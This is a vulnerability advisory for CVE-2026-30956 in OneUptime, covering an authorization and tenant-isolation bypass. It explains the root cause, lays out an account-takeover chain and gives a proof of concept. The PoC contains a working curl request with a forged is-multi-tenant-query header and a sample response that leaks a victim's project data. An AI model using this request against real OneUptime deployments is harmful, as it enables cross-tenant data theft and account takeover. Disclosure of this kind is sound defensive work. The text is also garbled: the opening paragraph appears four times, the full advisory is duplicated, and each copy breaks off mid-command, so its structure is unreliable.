CVE-2026-30956

OneUptime is a solution for monitoring and managing online services. Prior to 10.0.21, a low‑privileged user can bypass authorization and tenant isolation in OneUptime v10.0.20 and earlier by sending a forged is-multi-tenant-query header together with a controlled projectid header. Because the server trusts this client-supplied header, internal permission checks in BasePermission are skipped and tenant scoping is disabled. This allows attackers to access project data belonging to other tenants, read sensitive User fields via nested relations, leak plaintext resetPasswordToken, and reset the victim’s password and fully take over the account. This results in cross‑tenant data exposure and full account takeover. This vulnerability is fixed in 10.0.21.

OneUptime is a solution for monitoring and managing online services. Prior to 10.0.21, a low‑privileged user can bypass authorization and tenant isolation in OneUptime v10.0.20 and earlier by sending a forged is-multi-tenant-query header together with a controlled projectid header. Because the server trusts this client-supplied header, internal permission checks in BasePermission are skipped and tenant scoping is disabled. This allows attackers to access project data belonging to other tenants, read sensitive User fields via nested relations, leak plaintext resetPasswordToken, and reset the victim’s password and fully take over the account. This results in cross‑tenant data exposure and full account takeover. This vulnerability is fixed in 10.0.21.

Summary

A low‑privileged user can bypass authorization and tenant isolation in OneUptime v10.0.20 by sending a forged is-multi-tenant-query header together with a controlled projectid header.

Because the server trusts this client-supplied header, internal permission checks in BasePermission are skipped and tenant scoping is disabled.

This allows attackers to:

1. Access project data belonging to other tenants
2. Read sensitive User fields via nested relations
3. Leak plaintext resetPasswordToken
4. Reset the victim’s password and fully take over the account

This results in cross‑tenant data exposure and full account takeover.

Details

Root cause

The API trusts a client‑controlled header to determine whether a request should bypass authorization checks.

CommonAPI.ts

if (req.headers["is-multi-tenant-query"]) {
  props.isMultiTenantRequest = true;
}

BasePermission.ts

if (!props.isMultiTenantRequest) {
  TablePermission.checkTableLevelPermissions(...)
  QueryPermission.checkQueryPermission(...)
  SelectPermission.checkSelectPermission(...)
}

When the attacker sends:

is-multi-tenant-query: true

the system skips all authorization checks including:

• Table permission validation
• Query permission validation
• Select permission validation
• Tenant isolation enforcement

Additionally, tenant scoping is disabled in TenantPermission

Sensitive user data exposure

Projects marked with:

@MultiTenentQueryAllowed(true)

allow cross-tenant queries when the header is present.

The Project model contains a relation:

createdByUser

Because select permission checks are skipped, attackers can retrieve sensitive fields from the User model including:

password
resetPasswordToken
webauthnChallenge

Reset token stored in plaintext

In the password reset flow:

Authentication.ts

resetPasswordToken: token

The reset token is stored in plaintext in the database.

During password reset:

/api/identity/reset-password

the server validates the provided token directly.

If an attacker leaks this token through the authorization bypass, they can immediately reset the victim’s password.

Exploitation chain

1. Attacker bypasses tenant isolation using is-multi-tenant-query
2. Attacker reads victim project
3. Attacker selects createdByUser.resetPasswordToken
4. Attacker triggers forgot-password for victim
5. Attacker retrieves the fresh token via the same query
6. Attacker calls /api/identity/reset-password
7. Attacker sets a new password
8. Attacker logs in as victim

This results in full account takeover.

PoC

Setup:

• Local OneUptime v10.0.20 instance
• Two normal accounts:
  • Attacker account owns Project A (7cb77c45-c2e0-42b5-8a28-57aa0dec6e82)
  • Victim account owns Project B (88ced36b-4c0a-4c12-bdf1-497d60b10b23) with email [email protected]

---

Chain 1: Direct Project Isolation Bypass

1. Read isolation bypass

curl -X POST http://localhost/api/project/get-list \
  -H "authorization: Bearer <attacker_token>" \
  -H "projectid: 7cb77c45-c2e0-42b5-8a28-57aa0dec6e82" \
  -H "is-multi-tenant-query: true" \
  -H "content-type: application/json" \
  -d '{
        "query": {},
        "select": {
            "_id": true,
            "name": true,
            "createdOwnerEmail": true
        }
      }'

Result: Returns both the attacker's and victim's projects:

{
  "data": [
    {
      "_id": "88ced36b-4c0a-4c12-bdf1-497d60b10b23",
      "name": "Victim Project",
      "createdOwnerEmail": { "value": "[email protected]" }
    },
    {
      "_id": "7cb77c45-c2e0-42b5-8a28-57aa0dec6e82",
      "name": "Attacker Project",
      "createdOwnerEmail": { "value": "[email protected]" }
    }
  ],
  "count": 2
}

2. Write isolation bypass

Victim project name is initially: Victim Project ORIGINAL

curl -X POST http://localhost/api/project/88ced36b-4c0a-4c12-bdf1-497d60b10b23/update-item \
  -H "authorization: Bearer…

OneUptime is a solution for monitoring and managing online services. Prior to 10.0.21, a low‑privileged user can bypass authorization and tenant isolation in OneUptime v10.0.20 and earlier by sending a forged is-multi-tenant-query header together with a controlled projectid header. Because the server trusts this client-supplied header, internal permission checks in BasePermission are skipped and tenant scoping is disabled. This allows attackers to access project data belonging to other tenants, read sensitive User fields via nested relations, leak plaintext resetPasswordToken, and reset the victim’s password and fully take over the account. This results in cross‑tenant data exposure and full account takeover. This vulnerability is fixed in 10.0.21.

OneUptime is a solution for monitoring and managing online services. Prior to 10.0.21, a low‑privileged user can bypass authorization and tenant isolation in OneUptime v10.0.20 and earlier by sending a forged is-multi-tenant-query header together with a controlled projectid header. Because the server trusts this client-supplied header, internal permission checks in BasePermission are skipped and tenant scoping is disabled. This allows attackers to access project data belonging to other tenants, read sensitive User fields via nested relations, leak plaintext resetPasswordToken, and reset the victim’s password and fully take over the account. This results in cross‑tenant data exposure and full account takeover. This vulnerability is fixed in 10.0.21.

Summary

A low‑privileged user can bypass authorization and tenant isolation in OneUptime v10.0.20 by sending a forged is-multi-tenant-query header together with a controlled projectid header.

Because the server trusts this client-supplied header, internal permission checks in BasePermission are skipped and tenant scoping is disabled.

This allows attackers to:

1. Access project data belonging to other tenants
2. Read sensitive User fields via nested relations
3. Leak plaintext resetPasswordToken
4. Reset the victim’s password and fully take over the account

This results in cross‑tenant data exposure and full account takeover.

Details

Root cause

The API trusts a client‑controlled header to determine whether a request should bypass authorization checks.

CommonAPI.ts

if (req.headers["is-multi-tenant-query"]) {
  props.isMultiTenantRequest = true;
}

BasePermission.ts

if (!props.isMultiTenantRequest) {
  TablePermission.checkTableLevelPermissions(...)
  QueryPermission.checkQueryPermission(...)
  SelectPermission.checkSelectPermission(...)
}

When the attacker sends:

is-multi-tenant-query: true

the system skips all authorization checks including:

• Table permission validation
• Query permission validation
• Select permission validation
• Tenant isolation enforcement

Additionally, tenant scoping is disabled in TenantPermission

Sensitive user data exposure

Projects marked with:

@MultiTenentQueryAllowed(true)

allow cross-tenant queries when the header is present.

The Project model contains a relation:

createdByUser

Because select permission checks are skipped, attackers can retrieve sensitive fields from the User model including:

password
resetPasswordToken
webauthnChallenge

Reset token stored in plaintext

In the password reset flow:

Authentication.ts

resetPasswordToken: token

The reset token is stored in plaintext in the database.

During password reset:

/api/identity/reset-password

the server validates the provided token directly.

If an attacker leaks this token through the authorization bypass, they can immediately reset the victim’s password.

Exploitation chain

1. Attacker bypasses tenant isolation using is-multi-tenant-query
2. Attacker reads victim project
3. Attacker selects createdByUser.resetPasswordToken
4. Attacker triggers forgot-password for victim
5. Attacker retrieves the fresh token via the same query
6. Attacker calls /api/identity/reset-password
7. Attacker sets a new password
8. Attacker logs in as victim

This results in full account takeover.

PoC

Setup:

• Local OneUptime v10.0.20 instance
• Two normal accounts:
  • Attacker account owns Project A (7cb77c45-c2e0-42b5-8a28-57aa0dec6e82)
  • Victim account owns Project B (88ced36b-4c0a-4c12-bdf1-497d60b10b23) with email [email protected]

---

Chain 1: Direct Project Isolation Bypass

1. Read isolation bypass

curl -X POST http://localhost/api/project/get-list \
  -H "authorization: Bearer <attacker_token>" \
  -H "projectid: 7cb77c45-c2e0-42b5-8a28-57aa0dec6e82" \
  -H "is-multi-tenant-query: true" \
  -H "content-type: application/json" \
  -d '{
        "query": {},
        "select": {
            "_id": true,
            "name": true,
            "createdOwnerEmail": true
        }
      }'

Result: Returns both the attacker's and victim's projects:

{
  "data": [
    {
      "_id": "88ced36b-4c0a-4c12-bdf1-497d60b10b23",
      "name": "Victim Project",
      "createdOwnerEmail": { "value": "[email protected]" }
    },
    {
      "_id": "7cb77c45-c2e0-42b5-8a28-57aa0dec6e82",
      "name": "Attacker Project",
      "createdOwnerEmail": { "value": "[email protected]" }
    }
  ],
  "count": 2
}

2. Write isolation bypass

Victim project name is initially: Victim Project ORIGINAL

curl -X POST http://localhost/api/project/88ced36b-4c0a-4c12-bdf1-497d60b10b23/update-item \
  -H "authorization: Bearer…